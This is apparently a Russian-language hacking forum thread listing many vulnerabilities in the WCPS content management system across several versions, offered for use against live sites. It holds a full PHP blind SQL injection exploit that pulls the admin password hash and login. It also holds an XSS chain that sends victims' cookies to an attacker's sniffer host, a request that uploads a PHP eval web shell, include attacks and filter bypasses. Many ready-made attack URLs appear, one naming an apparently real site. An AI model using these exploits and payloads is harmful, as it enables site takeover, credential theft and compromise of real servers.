SQL injection WCPS v.4.3 *** С этого дня я могу называться маньяком. Поздравте меня, я написал сплоент под BENCHMARK... Ладно приступим к описанию баги. Уязвимый файл php/cron_jsnews.php. Строка 49 гласит: Code: $results = MYSQL_QUERY("SELECT id FROM ".$wcpref."${nma}_stat WHERE lang='$portal_lang' AND da>0"); Ну и переменная $nma не фильтруется. Но к сожалению в данном случае требется register_globals=on. Теперь перейдем к минусам. Из этого запроса нету прямого вывода, и нет вывода ошибок. А это значит что юзать нам только посимвольный перебор с помощью BENCHMARK (я представляю отвернувшиеся лица, но советую дочитать до конца). Я согласен что эта скуля не ахти как юзабельна, но со сплоентом, пусть это занимает время, но всеже работает, да-да именно со сплоентом). Вообще я редко встречал эксплоиты подобного рода, ну чтож вот и сам сплоент: PHP: <?php /*----------------------------------------*\ Exploit for cms WCPS v 4.2.1 Blind SQL injection (use Benchmark) Author: Dr.Z3r0 \*----------------------------------------*/ //---------Основные настройки-------------// $set['host']='test2.ru';//Хост с CMS WPCS $set['patch']='';//Путь к WCPS без слеша на конце! $set['id_user']='2';//Номер юзера у которого буим брать хеш и логин (2 по дефолту админ) $set['prefix']='wc_';//Префикс таблиц в БД //----------------------------------------// //--------Дополнительные настройки--------// $set['retfile']=false;//true-запись в файл, false-Вывод на экран $set['retname']='return.txt';//Имя файла для вывода //----------------------------------------// //----------Настройки BENCHMARK-----------// $set['timbench']=5;//секунд для задержки создаваемой BENCHMARK-ом $set['pmbench']=1;//погрешность в секундах $set['cntbch']=3;//Количество запросов для определение среднего времени ответа $set['bnzn']=99999;//Начальное значение иттераций BENCHMARK-а //----------------------------------------// set_time_limit(0); ignore_user_abort(true); function create_packet($num,$sumb,$znak,$zap=false,$column='user_pass'){ global $set,$btime; if(!$zap){ $tmp="user WHERE IF(ASCII(SUBSTRING((SELECT ".$column." FROM ".$set['prefix']."user WHERE id=".$set['id_user']."),".$num.",1))".$znak.$sumb.",BENCHMARK(".$btime['bnzn'].",MD5(current_time)),'1')/*"; $tmp="nma=".urlencode($tmp); }else{ $tmp=$zap; } $header="GET ".$set["patch"]."/php/cron_jsnews.php?".$tmp." HTTP/1.0\r\n"; $header.="Accept-Language: en-us,en;q=0.5\r\n"; $header.="Accept-Charset: utf-8,*;q=0.7\r\n"; $header.="Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png;q=0.5\r\n"; $header.="User-Agent: 1\r\n"; $header.="Connection: keep-alive\r\n"; $header.="Host: ".$set["host"]."\r\n\r\n"; return $header; } function logg($str,$type=1){ global $set; if($set['retfile']){ $fp = fopen ($set['retname'],'a'); fwrite ($fp, $str.($type===1?"\r\n":'')); fclose ($fp); }else{ echo($str.($type===1?"<br>\r\n":'')); flush(); } } $btime['sred']=5; $btime['btime']=10; $set['count']=0; function send_packet($packet,$type=1){//type=0 -возврат времени запроса; 1-возврат boolean; 2-возврат ответа сервера global $set,$btime; $set['count']++; $btime['start']=time(); $dt=''; $fp=fsockopen($set['host'], 80); fwrite($fp, $packet); while(!feof($fp)){ $dt.=fread($fp, 1024); } fclose($fp); $btime['stop']=time(); $btime['all']=$btime['stop']-$btime['start']; if($type===1){ if($btime['all']>=$btime['sred'])return false; else return true; }elseif($type===2){ return $dt; }else{ return $btime['all']; } } $set['start']=time(); logg('<b>'.$set['host'].'</b>'); logg('<b>Определяем среднее время ответа сервера...</b>'); for($i=0;$i<$set['cntbch'];$i++){ $ret=send_packet(create_packet('','','','tmp=xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'),0); logg('Запрос '.($i+1).'. Время: '.$ret.' сек.'); $btime['bngrzk'][$i]=$ret; } $tmp=0; foreach($btime['bngrzk'] as $val)$tmp+=$val; $btime['bngrzk']=round(($tmp)/(count($btime['bngrzk']))); logg('Среднее время ответа сервера: <b>'.$btime['bngrzk'].' сек.</b>'); $set['timbench']+=$btime['bngrzk']; logg('Оптимальное значение задержки создаваемой бенчмарком '.$set['timbench'].' сек.'); logg(''); $btime['oktime']=false; $btime['bnzn']=$set['bnzn']; logg('<b>Подбираем кол-во итераций BENCHMARK-а...</b>'); for($i=0;$i<20;$i++){ $ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0); if($ret<($set['timbench']-$set['pmbench'])){ $tmp='Мало.'; logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp); if($ret===0){ $btime['bnzn']=$btime['bnzn']*$set['timbench']; }else{ $ret=($set['timbench'])/($ret); $btime['bnzn']=round(($btime['bnzn'])*($ret)); } }elseif($ret>($set['timbench']+$set['pmbench'])){ $tmp='Много.'; logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp); $ret=($ret)/($set['timbench']); $btime['bnzn']=round(($btime['bnzn'])/($ret)); }else{ $tmp='Подходит.'; $btime['oktime']=true; $btime['timbench']=$ret; logg('Запрос '.($i+1).'. Кол-во: '.$btime['bnzn'].'. Время: '.$ret.' сек. '.$tmp); break; } } if(!$btime['oktime']){ logg('Не удалось попасть в рамки '.$set['timbench'].'±'.$set['pmbench'].' сек.'); logg('Возможные причины:'); logg('-Уязвимость залатанна'); logg('-Неверный префикс'); logg('-Маленький диапазон погрешности'); logg('-Так сложились звезды...'); die(); } logg('Число итераций <b>'.$btime['bnzn'].'</b> укладывается в '.$set['timbench'].'±'.$set['pmbench'].' сек.'); logg(''); logg('<b>Определяем среднее время ответа сервера с нагрузкой...</b>'); for($i=0;$i<$set['cntbch'];$i++){ $ret=send_packet(create_packet('','','','nma='.urlencode('user WHERE 1=BENCHMARK('.$btime['bnzn'].',MD5(current_time))/*')),0); logg('Запрос '.($i+1).'. Время: '.$ret.' сек.'); $btime['timebench'][$i]=$ret; } foreach($btime['timebench'] as $val)$tmp+=$val; $btime['timebench']=round(($tmp)/(count($btime['timebench']))); logg('Среднее время ответа сервера с нагрузкой: <b>'.$btime['timebench'].' сек.</b>'); $btime['sred']=round(($btime['timebench']+$btime['bngrzk'])/2); logg('Крит. число секунд: <b>'.$btime['sred'].' сек.</b>'); $btime['timbench']=$btime['timebench']; $ret=''; logg(''); logg('Все подготовительные запросы звершены'); logg('Приступаем к работе...'); logg(''); logg('<b>Выдираем хеш...</b>'); logg('<sub>(Пока можно сходить и попить кофе... Это относительно долго...)</sub>'); for($i=1;$i<=32;$i++){ $sred=0; $tmp=''; $i2=0; $i3=0; $znak='>'; $mins=48;//Код символа "0" $maxs=103;//Код символа "f" while(1){ if($maxs-$mins>3){ $sred=round(($mins+$maxs)/2); }else{ $sred=$mins+$i2; $znak='='; $i2=$i2+1; if($mins>$maxs)break; } if(!send_packet(create_packet($i,$sred,$znak),1)){ if($znak==='>')$mins=$sred+1; else if($znak==='='){ $ret.=chr($sred); break; } }else{ if($znak==='>')$maxs=$sred; } if($i3>10)break; else $i3++; } } if(empty($ret))die('Не получилось :('); logg('Хеш: <b>'.$ret.'</b>'); $ret=''; logg(''); logg('<b>Выдираем логин...</b>'); for($i=1;$i<=32;$i++){ $sred=0; $tmp=''; $i2=0; $i3=0; $znak='>'; $mins=0; $maxs=256; while(1){ if($maxs-$mins>3){ $sred=round(($mins+$maxs)/2); }else{ $sred=$mins+$i2; $znak='='; $i2=$i2+1; if($mins>$maxs)break; } if(!send_packet(create_packet($i,$sred,$znak,false,'user_login'),1)){ if($znak==='>')$mins=$sred+1; else if($znak==='='){ $ret.=chr($sred); break; } }else{ if($znak==='>')$maxs=$sred; } if($i3>10)break; else $i3++; } if(substr_count($ret,chr(0))){ $ret=str_replace(chr(0),'',$ret); break; } } if(empty($ret))die('Не получилось :('); logg('Логин: <b>'.$ret.'</b>'); $set['stop']=time(); logg(''); logg('<b>Статистика:</b>'); logg('Затраченно '.($set['stop']-$set['start']).' сек.'); logg('Всего '.($set['count']).' запросов.'); logg('Среднее время ответа '.round(($set['stop']-$set['start'])/($set['count'])).' сек.'); ?> Небольшая вставка статистики работы сплоента: При небольшом знании пыха этот сплоент можно переделать изменив пару строк под любую скулю подобного рода. *** - примичание: как не странно но, эту Уязвимость они даже непытались залатать - сплоент отлично работает и в новой версии.
WebCodePortalSystem v. 4.3 Пассивная XSS Ну вот вышла новая версия, ну и разумеется не без уязвимостей... [Пассивная XSS] Уязвим скрипт php/wojs.php - вообще это очень смешно, т.к. уязвимостей в нем находили много (и даже в том же параметре (но та уязвимость уже исправлена)), но реализовать нормальную защиту авторы так и не смогли. Уязвимая часть скрипта: PHP: <script language='javascript' src='http://<?echo $_SERVER['HTTP_HOST'].$portal_subdir;?>/php/<?echo $_GET['inflang'].$_GET['type'];?>.js'></script> В прошлый раз можно было осуществить перезапись переменных и поменять значение переменной $_SERVER['HTTP_HOST'] на произвольное, теперь эта ошибка исправлена, но вот подставить в переменную $_GET['inflang'] значение на подобие ../dir нам никто не мешает. Наверное возникнет вопрос что нам это даст ведь "перемещаться" мы будем только в пределах сайта с уязвимой cms, да и к тому же символ %00 режется (не квотой, а в фильтре). Но это решаемо: 1) Нам никто не мешает залить файл с расширением .jpg и любым содержанием (заливка через аватарки) 2) Еще авторы не учли что символ %00 нам не нужен, можно обойтись (в данном случае) символов ? (символ знака вопроса). И так делаем следующее: 1. У себя на компе создаем файл с содержимым: Code: document.location.replace("http://host.ru/sn.php?c="+document.cookie); Где http://host.ru/sn.php адрес вашего хоста со снифером. 2. Сохраняем файл с расширением .jpg, ну к примеру img.jpg 3. Через редактирование профиля, на сайте, заливаем нашу 'аватарку'. 4. Все теперь линк будет выглядеть так: Code: http://site.ru/php/wojs.php?inflang=../images/avatar/vashaavatarka.jpg? !!!не забывайте знак вопроса на конце!!! И как только пользователь перейдет по ссылке, его куки улетят нам. Кстати что бы заюзать уязвимость значения регистер глобал и мейджик квотс могут быть совершенно любыми (знак вопроса не обрубается квотой). Что бы автоматически создать админа при получение куков используйте, ранее выложенный, снифер (смотреть аттач). ==================================== Add (Две Уязвимости, найденные еще в прошлой версии, не залатаны): 1. Ранее найденная пользователем Macro пассивная xss так же отлично работает и в этой версии, наверное исправлять её авторы не сочли нужным: Т.е. переходим по ссылке: Code: http://test2.ru/wcps/<script>alert("kreved");</script> И получаем нужный нам результат. 2. Ранее найденная Dr.Z3r0 SQL инъекция не залатана в новой версии! ====================================
Множественные XSS в cms WCPS v4.3.1 4 пассивные XSS по мере убывания их юзабельности: Code: http://test2.ru/php/print.php?id=1&email_autor=1%3E%3Cscript%3Ealert(%27xss%27)%3C/script%3E1&nma=news Code: http://test2.ru/php/exp_to_save.php POST: asfile=%3Cscript%3Ealert%28%29%3C%2Fscript%3E PS: XSS срабатывает только на админах Code: http://test2.ua/php/dload.php?ids=%3Cscript%3Ealert()%3C/script%3E PS: только для сайтов в имени которых есть строка "ua" Code: http://test2.ru/php/gzstat.php?id=1&nma=news&categoria=<script>alert('xss')</script> PS: xss образуется в загружаемом файле ============================================================================ Примичание Grey`я: Почитал новости и форум на офф сайте этой cms, ну очень весело... Пару комментов для автора этого чуда: Code: продвинутому хакеру отсутствие версии это только чуть чуть задержит опредиление что делать, [COLOR=Red]обычно последняя еще не взломана[/COLOR]. Нет это как раз не обычно. Code: Вот уязвимости надо убирать. Code: Рано или поздно мы вычистим все баги Ога убери их на х@@ =)) Мне всегда казалось что их надо исправлять, а еще лучше кодить так что бы в одном скрипте не было по несколько бажных кусков, только для этого нужен мозг... Code: Вышел новый апдейт с 4.3 до 4.3.1 Апдейт обязателен, т.к. связан с безопасностью ИЗМЕНЕНИЯ: 1) Устранена ошибка 404 Убило. Что больше нет ошибки 404? Типа существуют все страницы? Очень привликательное изменение.
PHP-including в cms WCPS v4.3.1 Решил вот еще багу выложить, хотел новой версии дождаться но видимо админу там пох на баги. Чтож с данного момента эта цмс может официально называться самой бажной так как в ней присутствуют все основные типы багов. Вообщем что можно выжать полезного: Code: [b]http://test2.ru/?nma=index&fla=../../admin/default/index[/b] (инклудим вывод конфигурации системы...) [b]http://test2.ru/?nma=index&fla=../../admin/default/loads[/b] (инклудим вывод модулей пыха) [b]http://test2.ru/?nma=index&fla=../../admin/info/index[/b] (вывод всех массивов пыха) [b]http://test2.ru/?nma=index&fla=../../admin/info/index&ops=nomenu[/b] (PHP info) [b]http://test2.ru/?nma=index&fla=../../inc/body[/b] (ДДОС, скрипт инклудит сам себя до бесконечности)
WebCodePortalSystem v. 4.3.1 Пассивная XSS: Code: http://test2.ru/php/images_jpg.php?nma=..&vara=inc&images=config.php&action=wo&title=</title><script>alert();</script> Уязвимый кусок скрипта: PHP: $path=(getenv('OS'))?dirname(getenv('DOCUMENT_ROOT')."/x")."$nma/".$vara.$slash.$images:getenv('DOCUMENT_ROOT')."$nma/".$vara.$slash.$images; if (!file_exists($path)){$error=0;} Вообщем что бы выполнилось условие "if ($error)", нужно что бы файл, указанный в переменной $path, существовал. PHP: if ($error){ if (@$action=='wo'){ $size=getimagesize($path); $size[2]=$size[1]+25; if(empty($title)){$title=strtoupper($vara)." * $images";} echo "<TITLE>$title </TITLE> Дальше видим что значение переменной $action должно быть "wo". Ну а дальше выходим на финишную прямую "echo "<TITLE>$title </TITLE>", в переменную $title вставляем скрипт, а остальное оставляем без изменений.
WebCodePortalSystem v. 4.3.1 Льём шелл! + возможность удалять файлы Требуется что бы: регистер глобалс = офф Уязвимость в файле mod/user/_upl.php, вот уязвимый кусок кода: PHP: if(empty($wcpsval['tip_loadimages'])){ $tip_loadimages="jpg|gif|png"; } else { $tip_loadimages=$wcpsval['tip_loadimages']; } Занятно то что $wcpsval['tip_loadimages'] мы более чем спокойно можем изменить, т.е. самим указать разрешенные расширения файлов, что даёт нам возможность закачивать любые файлы. Я отснифал пакет с отправкой файла, получилось что то вроде этого: Code: POST /ajax.php?nma=user&fla=_upl&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0 User-Agent: Opera/9.23 (Windows NT 5.1; U; ru) Host: хост Referer: http://хост/index.php?nma=user&fla=accaunt Cookie: куки Cookie2: $Version=1 Connection: close Content-Length: 192 Content-Type: multipart/form-data; boundary=----------UEffLig9vPkZpftUKEtdJW ------------UEffLig9vPkZpftUKEtdJW Content-Disposition: form-data; name="q"; filename="img.phtml" Content-Type: text/plain <?php eval($_GET['e']); ?> ------------UEffLig9vPkZpftUKEtdJW-- Теперь поменяем первую строчку на такую: Code: POST /ajax.php?nma=user&fla=_upl&wcpsval[tip_loadimages]=phtml&t=1210069192453&JsHttpRequest=12100691924532-form HTTP/1.0 Теперь расширение phtml более чем правильное =) Для удобства я написал сплоент - всё что нужно указать это куки и хост (все что делает сплоент это отправляет пакет, результат нужно смотреть самим, хоть он и пишет что шелл залит, но это может быть не так). P.S. Т.к. залить файл с расширением .php нельзя из-за .htaccess который блочит пхп файлы, заливать шелл нужно в файл .phtml, но не на каждом серваке такие файлы будут обрабатываться.
WCPS modules mod_BigNews1.1 passive xss ps в оригинальном файле не проканает) Про эту Паныч упоминал в постах, сорри если повторю, просто нашел сам) php/exp_to_save.php /php/print.php Mod download sql inj Пример
Grey, такой трабл возник, я решил проверить работоспособность шелла во второй версии сплоита, вырезал его и расшифровал, он-то нормально работает, но если не расшифровывать, а оставить как есть (т.е в том виде, в котором шелл будет лежать в /images/avatar/), то выскакивает ошибка вида: Warning: Unexpected character in input: '\' (ASCII=92) state=1 in T:\home\localhost\2.php on line 1 Насколько я понял, ПхП не нравится наличие "\" в первой строке, если удалить оба слеша, то всё работает, но насколько я понял они нужны для маскировки кавычек...как быть? +не могу понять, на одних и тех же сайтах первый шелл создаётся скриптом, а второй нивкакую...
Если тебе нужен этот шелл что бы просто юзать, то вот он - (смотреть аттач). В сплоенте в бейс64 я его закинул только для того что бы не экранировать большое количество кавычек, а так надо всего две. Слеши нужны только в сплоенте, т.к. там нужно экранировать эти кавычки. Если ты, зачем то, хочешь юзать шелл закинутый в бейс64, как в сплойте, то, когда вытащишь его из сплойта, просто убери слеши - они нужны только для сплоента, не более. Тут уж смотри по мелочам - может ты во второй сплойт забываешь вписывать куки и адрес сайта. Или случайно что то изменил в нём - я его тестил и косяков не обнаружил. P.S. проверь личку, я тебе написал туда.
REMOTE INCLUDE WCPS v.4.4.1 Собственно возможны и более ранние версии. Интересно какая это по счету бага в этой цмс) 1. Описание Так вот кратенькое описание баги. Уязвим файл inc/php_function.php PHP: <?php ... //Функции для слеширования всех "лишних" символов во всех переменных //Как видно если мы объявим массив $_POST то массив $_COOKIE //слешироваться не будет. Это мы и будем использовать ниже. elseif ( is_array($_POST)) { ... } elseif ( is_array($_COOKIE)) { ... } ... //Так тут у нас есть SQL injection, тк переменная $op не проверяется. @$query="SELECT name, value from ".$wcpref."information where modular='1' OR (modular='$nma' OR modular='$op' )"; if($result_info = MYSQL_QUERY($query)){ ... while ($line = MYSQL_FETCH_ROW($result_info)){ //А вот и интересная строчка. В скрипте создаются глобальные переменные //из запроса, который мы можем модифицировать. $$line[0]=$line[1]; ... } } ... //Ну а вот и инклуд. if(!empty($_POST['set_skinlang'])){include("$portal_root/inc/set_skinlang.php");} //Тоесть алгоритм действий такой. Мы юзаем SQL injection после чего создается //новое значение для переменной $portal_root после чего мы сможем инклудить //любой файл в том числе и удаленный. //Но как видно из кода только, когда: //magic_globals_gpc=off //register_globals=on ... ?> 2. Exploit Немного об принципе работы эксплойта. Эксплойт имеет веб интерфейс. И не трудно заметить он умеет работать как и в режиме Remote include так и Local include. Зачем? Так вот ни для кого ни секрет что не везде разрешен удаленный инклуд. В таком случае эксплойт загружает на сервер с wcps аватарку которую впоследствии инклудит. Иначе он вынуждает wcps инклудить файл с другого сервера со специально составленным php кодом, благодаря чему на сервер загружается веб шелл, URL до которого вы также должны будете указать в настройках експлойта. Вообщем в обеих случаях при удачной эксплуатации мы имеем вебшелл, прочитанный конфиг и логины/хеши админов. Ну и собственно сам эксплоит: _http://ifolder.ru/7310117 (12кб) Pass:dflgnrmgqwef
SQL Injection in WCPS v.4.4.2 3.14здец вот еще одна тысячная по счету бага. 1. ОПИСАНИЕ Вообщем не буду привдить примеры с кодом и тд т.к уязивмого кода будет очень много, и описывать все мне просто лень. Распишу на словах. Вообщем в этой поганой цмс у каждого юзера существует его Ник и Логин. Они могут быть одинаковыми могут и нет. Вообщем Логин используется только для авторизации юзера, а соответственно его Ник выводится везде, типа рядом с его сообщениями ну и тд. Проблема состоит в том что в этой цмс в качестве Ника можно использовать строку содержащую спецсимволы. Но все замечательно слешируется при попадании этого ника в БД при регестрации. Но дело в том что инфа извлекается в массив SESSION при авторизации БЕЗ СЛЕШИРОВАНИЯ и используется в дальнейшем в своих запросах. Это была проблема. А узявимость можно замутить в модуле приватных сообщений. Ну и тут можно привести немного кода. Файл mod/privat/new.php PHP: $query="INSERT INTO ".$wcpref."privat VALUES ('', '$pmunames', '$pmsubject', '$_SESSION[user_fio]', '$now', '$pmmsn','1', '0') "; mysql_query($query); Нормальный запрос принимает вид: Code: [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'Ник', 'Время', 'Сообщение','1', '0') [/COLOR] Ну казалось бы, ну и что здесь такого? А вот что. Регистрируем нового юзера с ником "bla'/*" (без ковычег "), в итоге наш запрос при создании становится немного неккоректным и будет выглядеть так: Code: [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*[/COLOR]', 'Время', 'Сообщение','1', '0') а превратить его в валидный достаточно просто, в теле сообщения пишем "*/,1,([SQL запрос]),1,0)/*" (без ковычег "), и получаем запрос с выводом в самом сообщении следующего плана: Code: [COLOR=White]INSERT INTO wcps_privat VALUES ('', 'Кому', 'Тема', 'bla'/*[/COLOR]', 'Время', '[COLOR=White]*/,1,([SQL запрос]),1,0)/*[/COLOR]','1', '0') 2. ЭКСПЛУАТАЦИЯ Все было бы за**ись конешно, но тут присутствует одно маленькое е*антство как фильтрация слов user_login и user_pass а это как вы догадались имена полей с логинами и хешами в таблице с юзерами. а. SQL injection Так как вывести логины с хешами у вас не выйдет то юзабельность этой баги в этом смысле спадает на нет. Но все же пару советов для эксплуатации этой баги в качестве SQL-inj. Так как вывод идет в тело отправленного сообщения то юзать в качестве Адресата какого нибудь другого юзера - крайне не разумно. Можно указать свой Ник а идиально для этого зарегить еще один аккаунт. b. Active XSS Тут уже поинтереснее. Так как вывод идет в тело сообщения из БД без фильтрации то можно заюзать охуительную Active XSS "отправив" админу сообщение с нашим кодом. Плюс если заделать функциональный снифер, то получится помощнее чем простая SQL inj. Как? Очень просто. В тело сообщения пишем(разумеется без второй строчки) Code: */,1,(SELECT 0xCFF0E8E2E5F2213C7363726970743E616C65727428646F63756D656E742E636F6F6B6965293C2F7363726970743E),1,0) -- d [i]Привет!<script>alert(document.cookie)</script>[/i] Ну вообщем тут можете фантазировать как хотите) 2. OUTRO Вообще интересная бага, да и сам метод реализации. Можно было бы засунуть весь запрос в ник, но смысла нету. Посему я выбрал разбить запрос на две части. А и еще не забудьте потом поменять свой ник в профиле на что нить менее бросающееся в глаза) Удачи...
SQL Injection in WCPS v.4.4.3 Сцуко, чудики, они даже баги латать нормально не умеют =\. Собственно заплатка предущей уязвимости: PHP: if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i", $logines)){ print "Kernel panic"; exit; } if(!preg_match("/[a-zA-Z0-9а-яА-Я\_\-\{\}\@\[\]]+$/i", $admin_name)){ print "Kernel panic"; exit; } не ну не ппц ли? Вообщем этот зло**учий фильтр обходится элементарно. Создаем юзера с ником "bla'/*bla" (без ковычег "), пишем PM сообщение "*/,1,([SQL запрос]),1,0)/*" (также без ковычег ") то есть все тоже самое как написанно выше, за исключением немного измененного Ника у юзера. Удачи... Авторам привет
SQL Injection in WCPS v5 И снова здравствуйте. Собственно вы не поверете, и во второй раз эту же багу у них залатать не вышло, как ни смешно/грустно бы это не звучало. В этой версии у них появился фильтр следующего рода: PHP: $reg_login = str_replace( "'", '`', $reg_login ); то бишь кавычка в логине заменятеся на апосторф(ну или как этот символ зовтеся), то есть вроде мы запрос модифицировать не можем. Ну а тогда представим следующий запрос к БД: Code: INSERT INRO ... VALUES (...,'[COLOR=DarkOrange][ваш логин][/COLOR]','[COLOR=DarkOrange][любое другое поле кторое вы можете изменить][/COLOR]',...) Так вот так как вы можете использовать в своем логине слеш \. То можно сдвинуть запрос как бы на одну кавычку. Допустим ваш логин blablabla\ тогда запрос принимает вид: Code: INSERT INRO ... VALUES (...,'[COLOR=DarkOrange]blablabla\',[/COLOR]'[любое другое поле кторое вы можете изменить]'[COLOR=DarkOrange],...)[/COLOR] то есть мы выходим за кавычку и можем заюзать SQL injection. PS теперь перед публикацией баги о ней будет сообщатся автору, кстати снова ему привет
SQL Injection in WCPS v5.2 Требуется авторизация в админке Blind SQL inj. http://wcps/admin.php?op=ban&flag=suser&active=view_user&modul=default&nl=1+and+substring(@@version,1,1)=5 Раскрытие путей. http://wcps/admin.php?op=options&flag=valid&pers=russian&madul[]=1340000 http://wcps/admin.php?op=counter&flag=clear&action=08&ids[]=wc_counter_referer
Бум бум бум... SQL injection WPCS 5.2 Need: register_globals = On, mq=off. Качаем файл значит, открываем его и видим: Example: _http://www.igorapark.ru/php/gzstat.php?id=23&categoria=-1'+union+select+version()+--+
Blind SQLi найденная мной: Поле referer: 1' or sleep(10)=' Версия последния, присутствует на офф сайте